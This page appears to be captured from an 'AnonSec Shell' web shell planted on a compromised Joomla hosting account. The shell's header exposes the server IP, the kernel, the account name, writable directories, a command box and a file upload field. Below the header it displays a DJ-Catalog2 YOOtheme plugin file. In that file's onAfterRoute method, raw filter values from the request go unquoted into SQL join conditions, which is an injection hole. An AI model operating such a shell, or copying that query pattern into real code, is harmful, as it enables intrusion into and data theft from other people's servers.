AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.94
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/voscatalogues/plugins/system/djc2yootheme/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/voscatalogues/plugins/system/djc2yootheme/djc2yootheme.php
<?php
/**
 * @package DJ-Catalog2-Yootheme
 * @copyright Copyright (C) DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 */

defined('_JEXEC') or die;

use Joomla\CMS\Plugin\CMSPlugin;
use YOOtheme\Application;
use Joomla\Registry\Registry;
use DJExtensions\DJCatalog2\YOOtheme\Builder\Source\DJC2YooHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Uri\Uri;
class plgSystemDjc2yootheme extends CMSPlugin
{
    public function onAfterInitialise()
    {
        JLoader::registerNamespace('DJExtensions\DJCatalog2\YOOtheme;', JPATH_ROOT . "/plugins/system/djc2yootheme");
        // check if YOOtheme Pro is loaded
        if (!class_exists(Application::class, false)) {
            return;
        }
        $this->loadLanguage();

        /* Load Needed Classes */
        require __DIR__ . '/modules/builder-djcatalog2-source/src/SourceListener.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/SourceController.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/CategoryHelper.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/ProducerHelper.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/ItemHelper.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/ItemListener.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/ProducerListener.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/TemplateListener.php';

        //Type - Producer
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Producer/ProducerCategoryType.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Producer/ProducerType.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Producer/ProducerImagesType.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Producer/ProducerFieldsType.php';

        //QueryType - Producer
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Producer/ProducerCategoryQueryType.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Producer/CustomProducerQueryType.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Producer/ProducerQueryType.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Producer/ProducersQueryType.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Producer/ProducerImagesQueryType.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Producer/ProducerFieldsQueryType.php';

        //Type - Item
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Item/ItemType.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Item/ItemFilesType.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Item/ItemImagesType.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Item/ItemLabelsType.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Item/ItemExtraFieldsType.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Item/ItemSectionsType.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Item/ItemReviewsType.php';

        //QueryType - Item
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Item/ItemQueryType.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Item/ItemFilesQueryType.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Item/ItemImagesQueryType.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Item/ItemLabelsQueryType.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Item/ItemExtraFieldsQueryType.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Item/ItemSectionsQueryType.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Item/ItemReviewsQueryType.php';

        //QueryType - Items
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Item/ItemsListQueryType.php';

        //Type - Category
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Category/CategoryProductType.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Category/SingleCategoryProductType.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Category/CategoryImagesType.php';

        //QueryType - Category
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Category/CategoryQueryType.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Category/CategoryProductQueryType.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Category/CategoryImagesQueryType.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Category/CustomCategoriesQueryType.php';


        //Type - [Other]
        require __DIR__ . '/modules/builder-djcatalog2-source/src/UserHelper.php';

        //QueryType - [Other]

        //Elements
        require __DIR__ . '/modules/builder-djcatalog2-source/src/ElementHelper.php';

        //Presets
        require __DIR__ . '/modules/djcatalog2-presets/src/Presets.php';
        require __DIR__ . '/modules/djcatalog2-presets/src/Cache.php';
        require __DIR__ . '/modules/djcatalog2-presets/src/Type.php';
        require __DIR__ . '/modules/djcatalog2-presets/src/PresetTransform.php';
        require __DIR__ . '/modules/djcatalog2-presets/src/PresetsListener.php';
        require __DIR__ . '/modules/djcatalog2-presets/src/PresetSaveTransform.php';
        require __DIR__ . '/modules/djcatalog2-presets/src/PresetsController.php';

        //Layouts
        require __DIR__ . '/modules/djcatalog2-layouts/src/Layouts.php';
        require __DIR__ . '/modules/djcatalog2-layouts/src/Cache.php';
        require __DIR__ . '/modules/djcatalog2-layouts/src/Type.php';
        require __DIR__ . '/modules/djcatalog2-layouts/src/LayoutTransform.php';
        require __DIR__ . '/modules/djcatalog2-layouts/src/LayoutsListener.php';
        require __DIR__ . '/modules/djcatalog2-layouts/src/LayoutSaveTransform.php';
        require __DIR__ . '/modules/djcatalog2-layouts/src/LayoutsController.php';

        //Config
        require  __DIR__ . '/modules/config/src/ConfigListener.php';
        require __DIR__ . '/modules/config/src/ExtraFieldsController.php';
        require __DIR__ . '/modules/config/src/FormTransform.php';

        // Type - Other
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Media/ImageType.php';
        require __DIR__ . '/modules/builder-djcatalog2-source/src/Type/Section/SectionType.php';


        require __DIR__ .'/helper.php';
        // bootstrap modules
        $app = Application::getInstance();
        $app->load(__DIR__ . '/modules/*/bootstrap.php');
    }
    public function onBeforeRender()
    {
        $app = Factory::getApplication();
        if ($app->isClient('site')){
            $doc = Factory::getDocument();
            //DJ-Catalog2 Filters
            $doc->addStyleSheet(Uri::root() . '/plugins/system/djc2yootheme/assets/custom.css');
            $doc->addScript(Uri::root() . '/plugins/system/djc2yootheme/assets/custom.js');
            $doc->addScript(Uri::root() . '/plugins/system/djc2yootheme/assets/script_filters.js');
        }

    }
    public function onAfterRoute()
    {
        //Load DJ-Catalog2 variables
        require_once(JPATH_ROOT.'/components/com_djcatalog2/helpers/html.php');
        require_once(JPATH_ROOT.'/components/com_djcatalog2/helpers/djcatalog2.php');
        \Djcatalog2Helper::loadComponentLanguage();

        $app = Factory::getApplication();
        $menu = $app->getMenu()->getActive();
        $jinput = $app->input;



        if (!$app->isClient('site') || $app->input->get('view') != 'items') return;

        $option = $jinput->get('option');
        $view = $jinput->get('view');
        $cntid = $jinput->get('cntid');
        $stid = $jinput->get('stid');
        $cid = $jinput->getInt('cid');


        $cats = DJC2YooHelper::getCategoriesFlat($cid);
        $catIds = array_keys($cats);
        $catIds = ((count($catIds)) ? $catIds : array($cid));





        if ($option !== 'com_djcatalog2' && $view !== 'items') {
            return false;
        }

        $params = new Registry();
        $params->set('catsw', 1);
        $params->set('categories', $catIds);

        $attributes = DJC2YooHelper::getData($params, false);
        $urlVarNames = array();
        $urlVarValues = array();
        $request = array();

        foreach ($attributes as $group) {
            foreach ($group->attributes as $attribute) {
                $urlVarNames["f_".$attribute->alias] = $attribute->id;
            }
        }


        foreach ($urlVarNames as $attributeAlias => $attributeId) {
            $tmpValue = $app->input->getRaw($attributeAlias);
            if(is_array($tmpValue))continue;
            if ($tmpValue) {
                $filteredValue = array_filter(explode(',', $tmpValue));
                $request[$attributeAlias] = $filteredValue;
                $urlVarValues[$attributeId] = $filteredValue;
            }
        }

        $search = '';
        if($app->input->getRaw('search') !== null)
            $search = trim($app->input->getRaw('search'));

        if (count($urlVarValues) || $search) {
            // Search categories
            $db = Factory::getDbo();
            $query = $db->getQuery(true);

            $user = Factory::getUser();
            $levels = $user->getAuthorisedViewLevels();
            $lang = Factory::getLanguage();
            $tag = $lang->getTag();


            $query
                ->select('i.id, i.cat_id ')
                ->from($db->quoteName('#__djc2_categories', 'cat'))
                ->join('INNER', $db->quoteName('#__djc2_items', 'i') . ' ON i.cat_id = cat.id')
                ->where('cat.published = 1')
                ->where('cat.access IN (' . implode(',', $levels) . ')')
                ->where('(cat.language = ' . $db->quote('*') . ' OR cat.language = ' . $db->quote($tag) . ')')
                ->where('i.published = 1')
                ->where('i.access IN (' . implode(',', $levels) . ')')
                ->where('(i.language = ' . $db->quote('*') . ' OR i.language = ' . $db->quote($tag) . ')');

            if ($search) {
                $like = $db->quote('%' . $db->escape($search) . '%');
                $query->where('(i.name LIKE ' . $like . ' OR i.description LIKE ' . $like . ' OR i.sections LIKE ' . $like . ')');
            }


            if (count($urlVarValues)) {
                foreach ($urlVarValues as $attributeId => $attributeValues) {
                    $or = array();
                    foreach ($attributeValues as $attributeValue) {
                        $or[] = 'f' . $attributeId . '.value = ' . $attributeValue;
                    }

                    $query->select('f' . $attributeId . '.value AS val_' . $attributeId);
                    $query->join('INNER', $db->quoteName('#__djc2_items_extra_fields_values_int', 'f' . $attributeId) . ' ON f' . $attributeId . '.item_id = i.id AND f' . $attributeId . '.field_id = ' . $attributeId . ((count($or)) ? ' AND (' . implode(' OR ', $or) . ')' : ''));
                }
            }


            $db->setQuery($query);
            $items = $db->loadObjectList('id');


            $categories = array();
            $itemIds = array_keys($items);

            if (count($itemIds)) {
                foreach ($items as $item) {


                    if (!in_array($item->cat_id, $categories)) $categories[] = $item->cat_id;
                }

            }


            $currentLevelCategories = $categories;
            $reversed = false;
            do {
                $tmpCategories = array();

                foreach ($currentLevelCategories as $category) {
                    if (isset($cats[$category])) {
                        if (!in_array($cats[$category]->parent_id, $categories)) {
                            $categories[] = $cats[$category]->parent_id;
                            $tmpCategories[] = $cats[$category]->parent_id;
                        }
                    }
                }

                if (count($tmpCategories)) {
                    $currentLevelCategories = $tmpCategories;
                } else {
                    $reversed = true;
                }

            } while (!$reversed);


            $filters = $request;
            $request = DJC2YooHelper::buildUrlRequest($request);


            $app->input->set($menu->id . '.djcatalog2.request', $request);
            $app->input->set($menu->id . '.djcatalog2.filters', $filters);
            $app->input->set($menu->id . '.djcatalog2.cid', $categories);
            $app->input->set($menu->id . '.djcatalog2.ids', $itemIds);

        }

        $db = Factory::getDbo();

        $query = $db->getQuery(true)
            ->select('*')
            ->from($db->quoteName('#__djc2_countries_states'))
            ->where($db->quoteName('country_id') . ' = 223')
            ->order($db->quoteName('name'));

        $db->setQuery($query);
        $states = $db->loadObjectList();

        $stateOptions = [];
        $stateOptionValues = [];
        $counter = 0;

        foreach ($states as $state) {

            $stateOptions[] = [
                'id' => (int) $state->id,
                'name' => (string) $state->name,
                'alias' => (string) ($state->alias ?? ''),
                'ordering' => $counter,
            ];

            $stateOptionValues[] = [
                'option_id' => (int) $state->id,
                'value' => (string) $state->name,
            ];

            $counter++;
        }
        // --- ensure group exists (robust, no magic index) ---
        $targetGroupIndex = null;

// Prefer: group_id == 1 (Providers) jeśli istnieje
        foreach ($attributes as $i => $group) {
            if (is_object($group) && (int)($group->id ?? 0) === 1) {
                $targetGroupIndex = $i;
                break;
            }
        }

// Fallback: szukaj po nazwie/labelu jeśli id nie pasuje
        if ($targetGroupIndex === null) {
            foreach ($attributes as $i => $group) {
                $name = strtolower((string)($group->name ?? $group->label ?? ''));
                if ($name === 'providers' || $name === 'provider' || $name === 'dostawcy') {
                    $targetGroupIndex = $i;
                    break;
                }
            }
        }

// Jeśli dalej nie ma grupy – utwórz ją
        if ($targetGroupIndex === null) {
            $attributes[] = (object) [
                'id' => 1,
                'name' => 'Providers',
                'label' => 'Providers',
                'attributes' => [],
            ];
            $targetGroupIndex = array_key_last($attributes);
        }

// Upewnij się, że ->attributes jest tablicą
        if (!isset($attributes[$targetGroupIndex]->attributes) || !is_array($attributes[$targetGroupIndex]->attributes)) {
            $attributes[$targetGroupIndex]->attributes = [];
        }

// --- append "states" attribute safely ---
        $attributes[$targetGroupIndex]->attributes[] = (object) [
            'name' => 'Location',
            'id' => 9999,
            'group_id' => 1,
            'label' => 'Location',
            'alias' => 'states',

            'type' => 'checkbox',
            'published' => 1,
            'language' => '*',
            'ordering' => 99,

            'filterable' => 1,
            'filter_type' => 'checkbox',
            'searchable' => 1,
            'visibility' => 3,

            'group_name' => 'Providers',
            'group_label' => 'Providers',

            'options' => $stateOptions,
            'optionValues' => $stateOptionValues,
            'optionsArray' => $stateOptions,
            'optionValuesArray' => $stateOptionValues,
            'optionCounterArray' => array_fill(0, count($stateOptions), 1),

            'selected' => false,
            'selectedOptions' => [],
            'selectedOptionValues' => [],
            'availableOptions' => count($stateOptions),
        ];

        $app->input->set($menu->id . '.djcatalog2.attributes', json_encode($attributes));
        $app->input->set($menu->id . '.djcatalog2.variables', json_encode($urlVarValues));
    }
}

Anon7 - 2022
AnonSec Team